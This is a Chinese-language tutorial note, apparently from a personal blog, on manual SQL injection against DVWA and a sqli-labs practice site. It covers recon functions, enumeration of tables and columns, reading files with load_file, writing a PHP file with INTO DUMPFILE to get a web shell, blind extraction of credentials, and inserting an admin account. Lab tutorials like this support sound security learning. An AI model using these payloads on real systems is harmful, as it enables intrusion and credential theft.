[关闭]
@1kbfree 2018-10-02T22:38:31.000000Z 字数 2487 阅读 1537

sql注入语句

渗透


image_1ckre873b1jg01tfd1u7f1mm71tjb9.png-146kB

函数 作用
user() 数据库用户
version() 数据库版本
database() 数据库名称
@@datadir 数据库所在的绝对路径
@@version_compile_os 查看使用的是什么系统
sleep(5) 睡眠5秒
md5() 计算哈希

查询dvwa这个数据库里的所有表

  1. select table_name,table_schema from information_schema.tables where table_schema='dvwa'

image_1ckrijrelnnm10go143f1kv9ci84m.png-13.4kB

image_1ckrngkm57al7f72qk1nih1tio53.png-11.9kB

查询列的内容

  1. select * from dvwa.users;

image_1ckuc7ca2gadb8d1usc1c7p1b4v2p.png-62.7kB

读取本地文件

  1. select load_file('D://phpStudy//WWW//sql-bug//Less-1//index.php');

image_1ckrr24qsf1j1ukm1rhnbv1q4u9.png-68.7kB

写入文件

  1. select "<?php phpinfo();?>" into dumpfile 'phpinfo2018.php';

image_1ckrs9p2m55a1701l0sfb11v6h1m.png-78.3kB

如果知道绝对路径的话也可以写在web目录下面,然后就能获取到shell


手动跑出信息

如果不能查询information_schema里的内容,那么我们只能够用手工来扫描出所有信息了

1、猜当前表下的字段

  1. and 字段名 is null

如果字段名存在这个表中,就会正常返回。

字段存在的情况下

image_1cks9uvl1dqjvgpmj4kd8pbr23.png-90.1kB

image_1ckslaeeg12k81i7p15opg3m8265b.png-96.8kB

可以看到上图执行的sql语句是

  1. SELECT first_name, last_name FROM users WHERE user_id = '2' and user is null-- ';

这里会有人问(其实我自己的疑问,但是找出原因了),为什么这个字段存在但是没有id为2的返回数据呢?这里我们需要看一下is null,这个是因为user的字段存在并且有数据,而他这里说is null,所以是为false的,也可以把如上sql语句想成SELECT first_name, last_name FROM users WHERE user_id = '2' and 1=2-- ';,因为1=2不成立,所以什么数据都不会返回的

image_1cksl40dt1heq6958ik1bhhfv4u.png-67.7kB

字段不存在的情况下

image_1cksbvabk11gp1n4l1san3vcno30.png-78.8kB

那么我们如果某处可以执行sql语句的话我们就可以利用这个方法来获取他们的字段名,但是如果采用手工的话会非常麻烦,所以这里有一个字段字典,自行下载吧~

字典下载地址:
链接: https://pan.baidu.com/s/1bAyQnudoLb_oxcrNgwG92g 密码: 6666

这里肯定有人会问为什么要获取到字段名,对吧~,那么下面会讲解的~

2、猜当前表表名

首先,上一步我们得知目标数据库是存在一个字段为user的,那么我们想来探测一下他的表名,则可这样

  1. and 表名.user is null

上面我们查询到了这里是存在users字段的,那么因为sql语句中可以以表名.字段名这样子操作,所以我们可以这样子来探测他的表名是否存在

当表名不存在时(页面报错)

image_1ckskqj2ptrp1iqa1v8n121tven44.png-71.6kB

当表名存在时(页面正常,但是不显示任何数据)

image_1ckskr79doq61oe31dc6a0u18mk4h.png-85.9kB

那么我们现在已经得知存在他的表是users,他有一个字段是user,然后我们进行下一步就明确多了

3、猜当前数据库下其他表的表名

  1. and (select count(*) from 当前数据库下的其他表)
如果当前数据库下存在guestbook

image_1cksm5c7c15jqpi94m41h2r135g5o.png-127.7kB

如果当前数据库下不存在six

image_1cksm6f37198btlq3aj1km117o565.png-74.2kB

当前数据库下存在的表

image_1cksm7klfhn5ui4up71dj47q76i.png-51kB

可以看到成功的被我们注入出正确的表名了~

4、猜列名下的数据

上面我们已经注入出了表名字段名,那么我们现在就要来猜出字段下面的内容。

user字段下面的内容(第一种)

image_1cksmj2dm19sjkf3rt31pnu6i87f.png-106.2kB

可以看到此时程序执行的sql语句是

  1. SELECT first_name, last_name FROM users WHERE user_id = '2' or user='admin';

很容易看懂我也不多说了~

user字段下面的内容(第二种)

首先我讲下,第一种方法效率是比较低的,因为你很难完全猜测出目标字段名下的内容,上辈子拯救过地球的人除外,那么我们就应该利用一些更加简单的办法来获取到他字段下面的内容

image_1cksn7qdvcn8110316ab114a7v59c.png-124.6kB

执行的sql语句是:

  1. SELECT first_name, last_name FROM users WHERE user_id = '' or user like '%a%';

他的意思是找到user_id''或者user中存在a的那个数据,可以看到上面是成功返回的,并且直接返回了数据(证明user字段下有数据的内容是为a的,然后我们下一步就猜测存不存在ad,如果返回还是正确我们再猜测是否存在adm,以此类推,效果会更好),那么我们可以按照这些来深入的利用,具体还是得看实际的渗透环境吧~

image_1cksnckdjtbh1hm38466lg1po0a9.png-114.2kB

user字段下并且password的内容

我们都知道,登陆的时候一般sql语句都是这样子判断的

  1. select * from user where user=用户名 and password=密码

image_1cksnlc7nnsu13de13oh135locfam.png-15.5kB

那么上面我们获取了用户名的内容,但是我们也需要获取到他的密码才能登陆他们的后台对吧,所以我们需要这样

如果密码(password)错误

image_1cksnrpde1o6s92bm0nbet10d0b3.png-137.2kB

如果密码(password)正确

image_1cksns8d614joclj1oplsp576mbg.png-138.9kB

此时执行的sql语句是

  1. SELECT first_name, last_name FROM users WHERE user_id = '1' or user='iamfree' and password='password';

他的意思是,查询出user_id='1'的数据,或user='iamfree' and password='password'的那条数据,那么这里是存在的所以他会列出来

image_1cksnv2fs1hjajj817dk47aqvfbt.png-13kB

但是有时候我们爆出了他们的用户密码,但是他们是通过md5加密的,并且是无法跑出来的那种,但是我们又想要登陆他们后台,那么我们就可以自己来写插入\更新一条md5加密过的密码(当然这个前提是我们需要知道他的字段),然后用自己新加入的账号登陆后台

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注